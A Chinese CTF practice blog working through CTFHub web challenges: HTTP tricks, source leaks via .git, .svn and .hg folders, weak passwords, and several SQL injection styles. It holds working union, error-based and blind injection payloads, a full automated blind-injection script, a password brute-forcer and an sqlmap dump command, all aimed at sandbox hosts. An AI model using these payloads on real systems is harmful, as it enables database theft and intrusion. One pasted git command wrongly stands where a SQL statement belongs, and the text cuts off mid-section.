前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >CTFHUB刷题笔记 - wuuconix's blog

CTFHUB刷题笔记 - wuuconix's blog

作者头像
wuuconix
发布2023-03-14 13:18:18
8410
发布2023-03-14 13:18:18
举报
文章被收录于专栏:wuuconix

背景

本部的阮行止学长推荐了ctf web方向的刷题顺序。这几天太废了,光顾着看JOJO了2333,已经从大乔看到了星辰远征军埃及篇了,今天打算学习学习,不让自己的良心太难受。

Web前置技能

HTTP协议——请求方式

这道题很有意思。

题目提示说,只有用CTFHUB这个方法请求,才能获得flag。一般的请求方式有GET和POST等,那如何用这个自定义的CTFHUB来请求呢?我想到了HTTP报文中一般会把方法写在开头,比如以下报文就是GET方式请求的。

GET请求
GET请求

我在Burpsuite把GET改成CTFHUB后重新发送请求,就获得了flag。

那这是怎么实现的呢?我猜测大概率是利用PHP中的全局变量$_SERVER['REQUEST_METHOD']来判断请求方法是什么的。

WUUCONIX请求
WUUCONIX请求

HTTP协议——302跳转

页面有一个按钮,点击后会到达index.php,但是它返回的状态码是302,我们无法看到内容就被重定向到了原本的index.html。

题目主界面
题目主界面

用burpsuite很容易看到302界面的flag。

flag
flag

那php是如何实现这种302界面并且实现跳转的呢?搜索一番资料后我发现这种实现非常简单和优美。

header函数
header函数

我们利用这个神奇的header函数就能够发送原生的http头从而实现跳转。

效果如下。

302的实现
302的实现

HTTP协议——Cookie

界面提示只有admin才能获得flag,结合题目cookie,思路很明显。利用burpsuite抓包后发现cookie有admin属性,设置为1之后就能获得flag。

cookie-flag
cookie-flag

实现也非常简单,用php里的setcookie函数就能够在cookie中设置一个属性,并赋予其默认值。

setcookie
setcookie
cookie判断实现
cookie判断实现

HTTP协议——基础认证

这道题需要用到编写脚本了!果然最近荒废了许多,花了20几分钟才做出这道基础题,险些超时。这道题让我了解了一种http原生的基础认证,状态码是401,需要让用户进行输入用户名和密码进行验证。

抓包后发现WWW-Authenticate字段中有提示。

WWW-Authenticate
WWW-Authenticate

很显然用户名就是admin了。那密码是什么呢?该题目提供了一个附件,里面有100个密码,那么密码也知道了。

根据基础认证的流程,用户名和密码经过拼接,再经过base64加密后放在Authentication属性中发送到服务器,服务器对其进行验证。

验证流程
验证流程

但是有100个密码,一个个试太麻烦了,遂用python实现。

代码语言:javascript
复制
import requests
import base64
burp0_url = "http://challenge-76a7f08ebaef75b3.sandbox.ctfhub.com:10800/flag.html"
num = 0
with open("10_million_password_list_top_100.txt", "r") as f:
    for line in f.readlines():
        num = num + 1
        password = line[:-1]    #去掉每行最后的换行符
        Authorization = "Basic " + base64.b64encode(("admin:" + password).encode()).decode()
        burp0_headers = {"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:91.0) Gecko/20100101 Firefox/91.0", "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8", "Accept-Language": "zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2", "Accept-Encoding": "gzip, deflate", "Connection": "close", "Upgrade-Insecure-Requests": "1", "Authorization": Authorization}
        response = requests.get(burp0_url, headers=burp0_headers).text
        if ("ctfhub" in response):
            print("第", num, "个密码正确,发现flag")
            print(response)
        else:
            print("第", num, "个密码错误,没有找到flag")

代码主题的request部分有burpsuite的插件Copy as Requests自动生成,然后自己设置了一个变量Authentication,遍历所有的密码。

脚本跑flag
脚本跑flag

最终在第84个密码获得了flag。

这次python脚本编写经历,我发现判断一个字符串中是否含有某个字符实际上非常简单,用in谓词即可。

这道题看了官方writeup,发现burpsuite的Intruder完全可以代替写脚本,只需要导入密码,然后添加前缀admin:,再最进行base64加密,就可以实现对遍历。

burpsuite intruder
burpsuite intruder
得到正确密码
得到正确密码

最后老样子,来自己实现一下http的基础认证。

实现http基础认证
实现http基础认证
登录框
登录框
登录成功
登录成功

还是很有可玩性的,以后可以试试。

HTTP协议——相应包源代码

F12看到flag,蚌埠住了

贪吃蛇F12
贪吃蛇F12

信息泄露

目录遍历

目录
目录
flag.txt
flag.txt

/3/1/下找到flag。

这种apache的文件浏览是怎么做到的呢?

实际上在某个目录下新建一个.htaccess文件,然后写入以下内容,那么该文件夹里的内容都会被列举出来啦。

代码语言:javascript
复制
<Files *> Options Indexes </Files>
indexes
indexes

值得注意的是,html文件点就后会被直接渲染出来,十分有用。以下是test.html的内容和渲染结果。

test.html
test.html
看板娘
看板娘

PHPINFO

这道题太棒了,flag直接藏在phpinfo里面。界面搜索ctfhub不一会儿就在$_ENV['FLAG']里找到了flag。

phpinfo里的flag
phpinfo里的flag

老习惯,自己也来试试吧吧!

$_ENV
$_ENV

比想象的简单,我用的是php:5.6-apache镜像,只要在docker run 的时候加入环境变量即可在phpinfo中展现出来。所以如果在ctf比赛中出题人在出题时用动态flag,这必将利用到环境变量,如果出题人忘记删除掉环境变量,同时我们能够访问到phpinfo的话,就可以直接得到flag,虽然一般都会把环境变量删掉2333。

以下是docker run语句。

代码语言:javascript
复制
docker run -itd --name php -v "/root/tools/html:/var/www/html" -p 10000:80 -e FLAG=flag{wuuconix_yyds!} php:5.6-apache

备份文件下载——网站源码

提示
提示

提示很明显了,故用脚本来判断备份文件到底是什么,利用返回的statau_code是不是404,来判断。

代码语言:javascript
复制
import requests

head_list = ['web', 'website', 'backup', 'back', 'www', 'wwwroot', 'temp']
ext_list = ['tar', 'tar.gz', 'zip', 'rar']
for head in head_list:
    for ext in ext_list:
        url = "http://challenge-a2c8887aa9929362.sandbox.ctfhub.com:10800/"
        file = head + "." + ext
        url += file
        print("尝试url:", url)
        res = requests.get(url)
        if (res.status_code != 404):
            print(res.text)  
        else:
            print("返回404")
www.zip
www.zip

锁定www.zip,访问网站后会自动下载该压缩包,得到一个文件。

flag_111253415.txt
flag_111253415.txt

打开后没有flag。

where is flag ??
where is flag ??

在网页中访问该文件得到flag。

flag
flag

备份文件下载——bak文件

hint
hint

提示flag就在index.php里,index.php会在某些情况下产生出一些备份文件。我对此进行了罗列。

php备份文件后缀罗列
php备份文件后缀罗列

然后利用dirsearch指定这个字典文件,扫描后扫到了index.php.bak,就是题目2333

dirsearch -w 指定字典文件
dirsearch -w 指定字典文件

访问下载打开后得到flag。

flag
flag

备份文件下载——vim缓存

和上题一样,继续使用dirsearch和我罗列的字典。发现.index.php.swp。这种文件是因为在使用vim编辑过程意外退出产生的,如果继续套娃意外退出,还可能会产生.index.php.swo.index.php.swn

dirsearch扫描
dirsearch扫描

下载后发现这不是普通的文本文件。vscode打不开。

vscode无法打开
vscode无法打开

在ubuntu里用curl -o下载文件,再用vim -r即可。

curl -o下载文件
curl -o下载文件
代码语言:javascript
复制
vim -r .index.php.swp
flag
flag

这个vim还挺有趣的,我试了一翻,一开始意外退出是swp然后再次意外退出是swo,这个顺序其实是字母表从后往前推进了。注意下图的时间。不知道到了swa之后会不会是swz呀2333。

套娃"意外退出"
套娃"意外退出"

备份文件下载——.DS_Store

.DS_Store
.DS_Store

看来这个.DS_Store是尊贵的Mac OS专享文件。

在ubuntu里curl -o下载文件,发现flag位置。

.DS_Store
.DS_Store
flag
flag

访问后得到flag。

我发现直接cat 这个文件有些乱码,看了官方的writeup后了解到可以用gehaxelt/Python-dsstore来看到原本的内容。

使用之后成功得到原始数据。

dsstore
dsstore

我在我的ubuntu主机上也找了一下.DS_Store。发现一些博客插件里也有.DS_Store 2333,估计它们用的都是尊贵的Mac OS进行开发的,羡慕啊。

博客插件里的.DS_Store
博客插件里的.DS_Store

Git泄露——Log

题干
题干

这道题太妙了,题干中提示了.git泄露,同时提到了一款强大的工具BugScanTeam/GitHack: .git 泄漏利用工具,可还原历史版本 (github.com)

GitHack运行截图
GitHack运行截图

利用这个GitHack工具可以下载到当前的网页源文件和.git文件夹

得到了源文件
得到了源文件

但是不幸的是,index.html中没有flag。

index.html
index.html

我又用vscode的搜索功能在整个文件夹下找ctfhub,结果也没有发现flag。

vscode 搜索
vscode 搜索

我陷入了人生和社会的大思考。

但是我注意到了一个重要信息,这里曾经是有flag的,只不过在某次commit中删除了。

remove flag
remove flag

想了一会儿,我突然意识到git这种东西应该是能恢复到之前的某个状态的,因为自己一直没有使用这个功能,也不适用分支这种,便忽略了这个强大的功能。

利用git log便能看到所有的变化。

git log
git log

然后我们利用git reset --hard commit id来恢复到某个状态,我们这里就选择刚刚添加flag那个commit。

代码语言:javascript
复制
git reset --hard 065ab364a11a0c75abc11340cb882b277827ed02
git reset --hard
git reset --hard

然后就会发现文件夹下多了个文本文件,里面就是flag啦。

flag
flag

git这种能够回到过去的强大能力让我惊讶,今后也好多多利用好git这个优秀的工具。

Git泄露——Stash

查阅了一下资源,git stash是一种将本地项目的状态存储起来的操作,不会上传到github上。

继续用GitHack恢复.git目录

.git
.git

然后输入git stash list就能看到所有的stash存储,发现第一个stash@{0}存储了一个加入flag的状态。

之后利用git stash apply stash@{0}即可恢复到那一个状态,成功得到flag。

flag
flag

Git泄露——Index

说是Index,但是我这里githack一恢复,一ls,就有flag了是怎么回事啊23333。

自己急着出来的flag
自己急着出来的flag

SVN泄露

题干没有给出使用的工具。我根据在github上找了两个工具,一个是svnhack,一个是svnexploit,全部都是只能下载当前的源文件,不给你下载最关键的.svn文件夹。但是这道题的flag在旧版本中,现在是没有flag文件的。

最终无奈地看了writeup。才知道有一个叫做 kost/dvcs-ripper 的工具。

rip-svn
rip-svn
.svn
.svn

有了.svn文件夹后,一般来说所有的文件都会在.svn/pristine有一个备份,包括被删掉的文件。

flag
flag

成功得到flag。

做完后我发现了一个不用这个工具就能得到flag的方法。

所有的备份文件都会在.svn/pristine这个目录下,然后每个文件比如这个e0a15cc404c2351e8dce038c0c2d1a684419ed1c.svn-base

它就会在.svn/pristine/e0/e0a15cc404c2351e8dce038c0c2d1a684419ed1c.svn-base,这个e0就是文件的前两位。

所以我们只要知道了e0a15cc404c2351e8dce038c0c2d1a684419ed1c这一串乱码,我们就能锁定文件。

而这一串乱码可以在.svn/wc.db中找到。

这里解释一下为什么知道wc.db,因为是dirsearch扫到的,所以我就去看了一眼。

wc.db
wc.db

这里就有两个乱码,分别对应flag文件和index.html。

最后吐槽一波admintony/svnExploit,为什么不把svn文件也一起下载下来 。还有明明已经发现flag文件了,却不给出checksum,这个checksum明明能够通过wc.db获得的。

功能不完善的svnExploit
功能不完善的svnExploit

功能完善一下不秒杀这个 kost/dvcs-ripper

已经在项目下提了一个Issue,让我们坐等作者更新2333。

HG泄露

题目
题目

查阅了一下资料,发现hg泄露也可以用昨天那个软件kost/dvcs-ripper。但是貌似不好使,也不知道出了什么问题。

rip-hg
rip-hg

没法,便用dirsearch扫了一下。

dirsearch
dirsearch

把几个可访问的文件都下载后,在/.hg/store/undo后发现了flag文件。

flag文件
flag文件

访问后成功得到flag。

flag
flag

这道题告诉我们不能迷信工具,还得手工尝试。

佛了,做完后才发现那个工具是出结果了的,但是在命令返回结果全是404搞得好像什么都没出,大意了,下次应该用-o指定输出目录。

.svn
.svn

密码口令

弱口令

前几天被vaala称为弱密码带师,结果被这道题卡住了。

vaala
vaala
界面
界面

跑了半天,用了好多字典,都不行。无奈看writeup。最后得知密码是admin123。

再看了看我的拥有19576个密码的密码字典。

找不到admin123
找不到admin123

留下了眼泪。

默认口令

这里让你找亿邮邮件网关的默认口令。滑稽的是,现在查亿邮邮件网关默认口令,查到的却全是ctfhub这道题的writeup。真正的信息来源已经被淹没了。

eyou默认口令
eyou默认口令

测试之后是第二个。

flag
flag

SQL注入

整数型注入

输入1
输入1

题目给出了完整的sql语句。select * 后页面返回了两个值,一个是ID。一个是Data。

代码语言:javascript
复制
git reset --hard 065ab364a11a0c75abc11340cb882b277827ed02

发现order by 3就不能正常显示了,说明一共就两个字段。我们也有充分的理由怀疑,这两列的字段分别为Id和Data。

接下来我们需要利用union select来爆信息。union select 的字段的个数需要和主select的个数一直,也就是两个。

然后如果你这样填。

代码语言:javascript
复制
1 or 1=1 union select database(), 2

你会发现你得不到你想要的数据,页面只会显示主select查询到第一行的数据。

or
or

所以我们需要让主select查询不到任何东西,而只显示我们select查询到的东西。

很显然这样就行了。

代码语言:javascript
复制
1 and 1=2 union select database(), 2
得到数据库名
得到数据库名

之后就是基本操作。

代码语言:javascript
复制
1 and 1=2 union select group_concat(table_name), 2 from information_schema.tables where table_schema='sqli'

得到所有表名
得到所有表名

锁定flag表。

代码语言:javascript
复制
1 and 1=2 union select group_concat(column_name), 2 from information_schema.columns where table_name='flag'

得到列名
得到列名

锁定flag表中的flag列。

进行查询。

代码语言:javascript
复制
1 and 1=2 union select flag, 2 from flag

flag
flag

不得不说,上学期学习了数据库之后对SQL的理解加深了许多,这道题很快做出来。

ctfhub的sql注入也非常友善,把完整的sql语句给出来了,非常适合新手来进行学习。

字符型注入

和上一篇整形注入几乎一致,但是这里有了引号,首先利用引号闭合,之后还需要利用注释符#还使原来的右引号失效。

代码语言:javascript
复制
1' and 1=2 union select database(), 2#

爆库
爆库
代码语言:javascript
复制
1' and 1=2 union select 2, group_concat(table_name) from information_schema.tables where table_schema = 'sqli'#

爆表
爆表
代码语言:javascript
复制
1' and 1=2 union select 2, group_concat(column_name) from information_schema.columns where table_name = 'flag'#

爆字段
爆字段
代码语言:javascript
复制
1' and 1=2 union select 2, flag from flag#

查询flag
查询flag

报错注入

利用extracvalue来xpath报错。

代码语言:javascript
复制
1 and (select extractvalue(1, concat(0x7e, (select database()))))

extracvalue爆库
extracvalue爆库
代码语言:javascript
复制
1 and (select extractvalue(1, concat(0x7e, (select group_concat(table_name) from information_schema.tables where table_schema= 'sqli'))))

extractvalue爆表
extractvalue爆表
代码语言:javascript
复制
1 and (select extractvalue(1, concat(0x7e, (select group_concat(column_name) from information_schema.columns where table_name= 'flag'))))

extract爆字段
extract爆字段
代码语言:javascript
复制
1 and (select extractvalue(1, concat(0x7e, (select flag from flag))))

extract得到flag
extract得到flag

利用updatexml来xpath报错。

代码语言:javascript
复制
1 and (select updatexml(1, (concat (0x7e, (select database()))),1))

updatexml爆库
updatexml爆库
代码语言:javascript
复制
1 and (select updatexml(1, (concat (0x7e, (select group_concat(table_name) from information_schema.tables where table_schema='sqli'))),1)) 

updatexml爆表
updatexml爆表
代码语言:javascript
复制
1 and (select updatexml(1, (concat (0x7e, (select group_concat(column_name) from information_schema.columns where table_name='flag'))),1)) 

updatexml爆字段
updatexml爆字段
代码语言:javascript
复制
1 and (select updatexml(1, concat(0x7e, (select flag from flag)), 1))

updatexml得到flag
updatexml得到flag

利用floor来group by主键重复报错。

代码语言:javascript
复制
1 union select count(*), concat((select database()), floor(rand(0)*2)) x from news group by x

group by爆库
group by爆库
代码语言:javascript
复制
1 union select count(*), concat((select table_name from information_schema.tables where table_schema='sqli' limit 1,1), floor(rand(0)*2)) x from news group by x

注:图中有错误,在limit那里,正确的用法如上。

group by爆表
group by爆表
代码语言:javascript
复制
1 union select count(*), concat((select column_name from information_schema.columns where table_name='flag' limit 0,1), floor(rand(0)*2)) x from news group by x

group by 爆字段
group by 爆字段
代码语言:javascript
复制
1 union select count(*), concat((select flag from flag limit 0,1), floor(rand(0)*2)) x from news group by x

group by得到flag
group by得到flag

在30分钟里用三种方法报错注入得到flag,顺便写出writeup,感觉蛮快了2333。

extractvalue和updatexml用起来没什么问题,很顺利。

突然发现用这两个函数得到的flag是不完整的。这两个函数的返回值最多只有32个字符。这里和最终的flag少了一个右大括号。

以后遇到这种问题再用一下right()获取右边的值即可。

right函数
right函数

用group by的时候问题很大,首先它貌似只试用于mysql 5.x的版本,以至于我在本地最新mysql版本上复现出来。关于这个问题在 csdn上 写了一篇博客

然后我发现用这个group by来报错的时候不能用爆表和爆字段的时候不能用group_concat。但是我在本地测试的时候又可以,很奇怪,感觉是题目的锅。

本地成功用group_concat
本地成功用group_concat

但是没关系,不用group_concat就手动一个个查,利用limit来控制。

limit的用法
limit的用法

limit的第一个值表示从 第几行开始,第二个值表示从开始的行取几行。

布尔盲注

布尔盲注使用场景的特征十分明显,即界面不会给出查询的具体结果,也不会给你报错信息。而只会告诉你查询成功还是查询失败。

这就需要我们去利用一些神奇的函数比如substr,ascii,length来猜测。

猜测什么呢?首先猜测数据库的长度,知道了长度,就去猜数据库每个字符。知道了数据库,就去猜数据表的个数,表名长度,具体表名等等等等。也就是所有的一切都是你需要用上面的函数来猜出来的。

如果手工来实现这一过程,就会变得非常繁琐,这里我花了一个下午的时间写了一个盲注的脚本。

运行过程十分舒适和人性化。

代码语言:javascript
复制
import requests
from urllib.parse import quote

success_flag = "query_success" #成功查询到内容的关键字
base_url = "http://challenge-d41158772186d1b6.sandbox.ctfhub.com:10800/?id="
headers = {"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:91.0) Gecko/20100101 Firefox/91.0", "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8", "Accept-Language": "zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2", "Accept-Encoding": "gzip, deflate", "Connection": "close", "Upgrade-Insecure-Requests": "1"}

def get_database_length():
    global success_flag, base_url, headers, cookies
    length = 1
    while (1):
        id = "1 and length(database()) = " + str(length)
        url = base_url + quote(id) #很重要,因为id中有许多特殊字符,比如#,需要进行url编码
        response = requests.get(url, headers=headers).text
        if (success_flag not in response):
            print("database length", length, "failed!")
            length+=1
        else:
            print("database length", length, "success")
            print("payload:", id)
            break
    print("数据库名的长度为", length)
    return length

def get_database(database_length):
    global success_flag, base_url, headers, cookies
    database = ""
    for i in range(1, database_length + 1):
        l, r = 0, 127 #神奇的申明方法
        while (1):
            ascii = (l + r) // 2
            id_equal = "1 and ascii(substr(database(), " + str(i) + ", 1)) = " + str(ascii)
            response = requests.get(base_url + quote(id_equal), headers=headers).text
            if (success_flag in response):
                database += chr(ascii)
                print ("目前已知数据库名", database)
                break
            else:
                id_bigger = "1 and ascii(substr(database(), " + str(i) + ", 1)) > " + str(ascii)
                response = requests.get(base_url + quote(id_bigger), headers=headers).text
                if (success_flag in response):
                    l = ascii + 1
                else:
                    r = ascii - 1
    print("数据库名为", database)
    return database

def get_table_num(database):
    global success_flag, base_url, headers, cookies
    num = 1
    while (1):
        id = "1 and (select count(table_name) from information_schema.tables where table_schema = '" + database + "') = " + str(num)
        response = requests.get(base_url + quote(id), headers=headers).text
        if (success_flag in response):
            print("payload:", id)
            print("数据库中有", num, "个表")
            break
        else:
            num += 1
    return num

def get_table_length(index, database):
    global success_flag, base_url, headers, cookies
    length = 1
    while (1):
        id = "1 and (select length(table_name) from information_schema.tables where table_schema = '" + database + "' limit " + str(index) + ", 1) = " + str(length)
        response = requests.get(base_url + quote(id), headers=headers).text
        if (success_flag not in response):
            print("table length", length, "failed!")
            length+=1
        else:
            print("table length", length, "success")
            print("payload:", id)
            break
    print("数据表名的长度为", length)
    return length

def get_table(index, table_length, database):
    global success_flag, base_url, headers, cookies
    table = ""
    for i in range(1, table_length + 1):
        l, r = 0, 127 #神奇的申明方法
        while (1):
            ascii = (l + r) // 2
            id_equal = "1 and (select ascii(substr(table_name, " + str(i) + ", 1)) from information_schema.tables where table_schema = '" + database + "' limit " + str(index) + ",1) = " + str(ascii)
            response = requests.get(base_url + quote(id_equal), headers=headers).text
            if (success_flag in response):
                table += chr(ascii)
                print ("目前已知数据库名", table)
                break
            else:
                id_bigger = "1 and (select ascii(substr(table_name, " + str(i) + ", 1)) from information_schema.tables where table_schema = '" + database + "' limit " + str(index) + ",1) > " + str(ascii)
                response = requests.get(base_url + quote(id_bigger), headers=headers).text
                if (success_flag in response):
                    l = ascii + 1
                else:
                    r = ascii - 1
    print("数据表名为", table)
    return table

def get_column_num(table):
    global success_flag, base_url, headers, cookies
    num = 1
    while (1):
        id = "1 and (select count(column_name) from information_schema.columns where table_name = '" + table + "') = " + str(num)
        response = requests.get(base_url + quote(id), headers=headers).text
        if (success_flag in response):
            print("payload:", id)
            print("数据表", table, "中有", num, "个字段")
            break
        else:
            num += 1
    return num

def get_column_length(index, table):
    global success_flag, base_url, headers, cookies
    length = 1
    while (1):
        id = "1 and (select length(column_name) from information_schema.columns where table_name = '" + table + "' limit " + str(index) + ", 1) = " + str(length)
        response = requests.get(base_url + quote(id), headers=headers).text
        if (success_flag not in response):
            print("column length", length, "failed!")
            length+=1
        else:
            print("column length", length, "success")
            print("payload:", id)
            break
    print("数据表", table, "第", index, "个字段的长度为", length)
    return length

def get_column(index, column_length, table):
    global success_flag, base_url, headers, cookies
    column = ""
    for i in range(1, column_length + 1):
        l, r = 0, 127 #神奇的申明方法
        while (1):
            ascii = (l + r) // 2
            id_equal = "1 and (select ascii(substr(column_name, " + str(i) + ", 1)) from information_schema.columns where table_name = '" + table + "' limit " + str(index) + ",1) = " + str(ascii)
            response = requests.get(base_url + quote(id_equal), headers=headers).text
            if (success_flag in response):
                column += chr(ascii)
                print ("目前已知字段为", column)
                break
            else:
                id_bigger = "1 and (select ascii(substr(column_name, " + str(i) + ", 1)) from information_schema.columns where table_name = '" + table + "' limit " + str(index) + ",1) > " + str(ascii)
                response = requests.get(base_url + quote(id_bigger), headers=headers).text
                if (success_flag in response):
                    l = ascii + 1
                else:
                    r = ascii - 1
    print("数据表", table, "第", index, "个字段名为", column)
    return column

def get_flag_num(column, table):
    global success_flag, base_url, headers, cookies
    num = 1
    while (1):
        id = "1 and (select count(" + column + ") from " + table + ") = " + str(num)
        response = requests.get(base_url + quote(id), headers=headers).text
        if (success_flag in response):
            print("payload:", id)
            print("数据表", table, "中有", num, "行数据")
            break
        else:
            num += 1
    return num

def get_flag_length(index, column, table):
    global success_flag, base_url, headers, cookies
    length = 1
    while (1):
        id = "1 and (select length(" + column + ") from " + table + " limit " + str(index) + ", 1) = " + str(length)
        response = requests.get(base_url + quote(id), headers=headers).text
        if (success_flag not in response):
            print("flag length", length, "failed!")
            length+=1
        else:
            print("flag length", length, "success")
            print("payload:", id)
            break
    print("数据表", table, "第", index, "行数据的长度为", length)
    return length

def get_flag(index, flag_length, column, table):
    global success_flag, base_url, headers, cookies
    flag = ""
    for i in range(1, flag_length + 1):
        l, r = 0, 127 #神奇的申明方法
        while (1):
            ascii = (l + r) // 2
            id_equal = "1 and (select ascii(substr(" + column + ", " + str(i) + ", 1)) from " + table + " limit " + str(index) + ",1) = " + str(ascii)
            response = requests.get(base_url + quote(id_equal), headers=headers).text
            if (success_flag in response):
                flag += chr(ascii)
                print ("目前已知flag为", flag)
                break
            else:
                id_bigger = "1 and (select ascii(substr(" + column + ", " + str(i) + ", 1)) from " + table + " limit " + str(index) + ",1) > " + str(ascii)
                response = requests.get(base_url + quote(id_bigger), headers=headers).text
                if (success_flag in response):
                    l = ascii + 1
                else:
                    r = ascii - 1
    print("数据表", table, "第", index, "行数据为", flag)
    return flag

if __name__ == "__main__":
    print("---------------------")
    print("开始获取数据库名长度")
    database_length = get_database_length()
    print("---------------------")
    print("开始获取数据库名")
    database = get_database(database_length)
    print("---------------------")
    print("开始获取数据表的个数")
    table_num = get_table_num(database)
    tables = []
    print("---------------------")
    for i in range(0, table_num):
        print("开始获取第", i + 1, "个数据表的名称的长度")
        table_length = get_table_length(i, database)
        print("---------------------")
        print("开始获取第", i + 1, "个数据表的名称")
        table = get_table(i, table_length, database)
        tables.append(table)
    while(1): #在这个循环中可以进入所有的数据表一探究竟
        print("---------------------")
        print("现在得到了以下数据表", tables)
        table = input("请在这些数据表中选择一个目标: ")
        while( table not in tables ):
            print("你输入有误")
            table = input("请重新选择一个目标")
        print("---------------------")
        print("选择成功,开始获取数据表", table, "的字段数量")
        column_num = get_column_num(table)
        columns = []
        print("---------------------")
        for i in range(0, column_num):
            print("开始获取数据表", table, "第", i + 1, "个字段名称的长度")
            column_length = get_column_length(i, table)
            print("---------------------")
            print("开始获取数据表", table, "第", i + 1, "个字段的名称")
            column = get_column(i, column_length, table)
            columns.append(column)
        while(1): #在这个循环中可以获取当前选择数据表的所有字段记录
            print("---------------------")
            print("现在得到了数据表", table, "中的以下字段", columns)
            column = input("请在这些字段中选择一个目标: ")
            while( column not in columns ):
                print("你输入有误")
                column = input("请重新选择一个目标")
            print("---------------------")
            print("选择成功,开始获取数据表", table, "的记录数量")
            flag_num = get_flag_num(column, table)
            flags = []
            print("---------------------")
            for i in range(0, flag_num):
                print("开始获取数据表", table, "的", column, "字段的第", i + 1, "行记录的长度")
                flag_length = get_flag_length(i, column, table)
                print("---------------------")
                print("开始获取数据表", table, "的", column, "字段的第", i + 1, "行记录的内容")
                flag = get_flag(i, flag_length, column, table)
                flags.append(flag)
            print("---------------------")
            print("现在得到了数据表", table, "中", column, "字段中的以下记录", flags)
            quit = input("继续切换字段吗?(y/n)")
            if (quit == 'n' or quit == 'N'):
                break
            else:
                continue
        quit = input("继续切换数据表名吗?(y/n)")
        if (quit == 'n' or quit == 'N'):
            break
        else:
            continue
    print("bye~")

先给出github地址。

wuuconix/SQL-Blind-Injection-Auto: 自己写的SQL盲注自动化脚本 (github.com)

最后在给出演示视频。

时间盲注

时间盲注和上一篇布尔盲注一样都是盲注,都需要借助length,ascii,substr这些神奇的函数来猜测各项信息。它们的差别是猜测成功的依据。

布尔盲注的话如果查询有结果,一般会有一个success_flag,比如在上一题里就会返回query successfully。我的脚本也就是request返回值里有没有这个文本来判断是否查询成功的。

但是时间盲注不一样,它不光不给你查询的内容的回显,不给你报错信息,甚至连布尔盲注里的success_flag也不给你。也就是什么情况呢?你在那里查询,它什么信息都不给你,也就是所谓的无回显。我以前认为无回显是根本不可能做出来的。但是时间盲注让我打开眼界。

时间盲注相当于自行创造出了一个success_flag,将查询成功的情况与查询失败的情况做了区分。以此区别作为依据,我们便可以进行猜测,盲注。

这个区别是这样产生的。主要利用了mysql中的if函数和sleep函数。我们看下面一条语句。

代码语言:javascript
复制
1 and if(1=1, 1, sleep(2))

if函数的第一个参数是一条判断语句,1=1为真,所以if函数会返回第二个参数即1。即

代码语言:javascript
复制
1 and 1

这很显然会正常返回结果。

1 and 1
1 and 1

那如果把if的第一个参数改变一下呢?

代码语言:javascript
复制
1 and if(1=2, 1, sleep(2))

第一个参数是false,if函数会返回第二个参数sleep(2),这会让这个查询语句睡眠两秒,再返回结果。

睡眠中
睡眠中

同时由于这个sleep函数本身的返回值是0,即false。

mysql中sleep的返回值
mysql中sleep的返回值

故那条语句的结果将会返回空。

Empty set
Empty set

同时我们的脚本还需要对这个睡眠2秒进行识别,因为sql查询语句睡眠了两秒,那么php也会跟着等,整个页面将会进入等待而迟迟不给出相应,我们的request就需要根据相应给出的时间来得到这个success_flag

这样即可,在get请求中写一个timeout参数

代码语言:javascript
复制
requests.get(url, headers=headers, timeout=1)

如果在1s钟内服务器没有返回信息,那么request就会报错。

reqeusts.exceptions.ReadTimeout
reqeusts.exceptions.ReadTimeout

然后我们就可以用异常捕捉语句来捕捉这个报错,从而根据有没有报错来判断我们需要判断的信息是否正确。

异常捕捉
异常捕捉

时间盲注的脚本已经更新到github,这里就不写了,太长了。

实际上也就是在昨天脚本的基础上套上了一层if,然后把success_flag换成了异常处理。

Cookie注入

Cookie注入界面一般不会给你输入框,类似这道题目。

Cookie注入
Cookie注入

它的注入点存在于Cookie之中。这是Burp抓包的结果。

Cookie id
Cookie id

那就很简单了,我们还是利用那个强大的插件,Copy as requests,把请求转化为python中的request代码。之后改一下id的值就行。因为这道题是有回显的,所以用最基本的联合注入即可,要是Cookie配合上时间盲注就有意思了2333。

代码语言:javascript
复制
import requests

# id = "1 and 1=2 union select database(), 1" #爆库
# id = "1 and 1=2 union select group_concat(table_name), 1 from information_schema.tables where table_schema = 'sqli'" #爆表
# id = "1 and 1=2 union select group_concat(column_name), 1 from information_schema.columns where table_name = 'fwtzeovuem'" #爆字段
id = "1 and 1=2 union select rzahbuabdf, 1 from fwtzeovuem" #get flag
burp0_url = "http://challenge-498ee75cbbb367a1.sandbox.ctfhub.com:10800/"
burp0_cookies = {"id": id, "hint": "id%E8%BE%93%E5%85%A51%E8%AF%95%E8%AF%95%EF%BC%9F"}
burp0_headers = {"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:91.0) Gecko/20100101 Firefox/91.0", "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8", "Accept-Language": "zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2", "Accept-Encoding": "gzip, deflate", "Connection": "close", "Upgrade-Insecure-Requests": "1", "Cache-Control": "max-age=0"}
print(requests.get(burp0_url, headers=burp0_headers, cookies=burp0_cookies).text)

flag
flag

因为这道题比较简单,我还试了一下sqlmap。这次总算不是日常坚不可摧了。成功得到了flag。

代码语言:javascript
复制
python3 sqlmap.py -u "http://challenge-498ee75cbbb367a1.sandbox.ctfhub.com:10800" --cookie "id=1" --level 2 -D sqli -T fwtzeovuem -C rzahbuabdf --dump

sqlmap
sqlmap

UA注入

UA注入和Cookie类似,只是换了个注入位置。基于的还是最基础的Union注入。

代码语言:javascript
复制
import requests

burp0_url = "http://challenge-c1afe7c2c2a76623.sandbox.ctfhub.com:10800/"
# UA = "1 and 1=2 union select 1, database()"
# UA = "1 and 1=2 union select 1, group_concat(table_name) from information_schema.tables where table_schema='sqli'"
# UA = "1 and 1=2 union select 1, group_concat(column_name) from information_schema.columns where table_name='cqomjcukck'"
UA = "1 and 1=2 union select 1, ycrtshvcir from cqomjcukck"
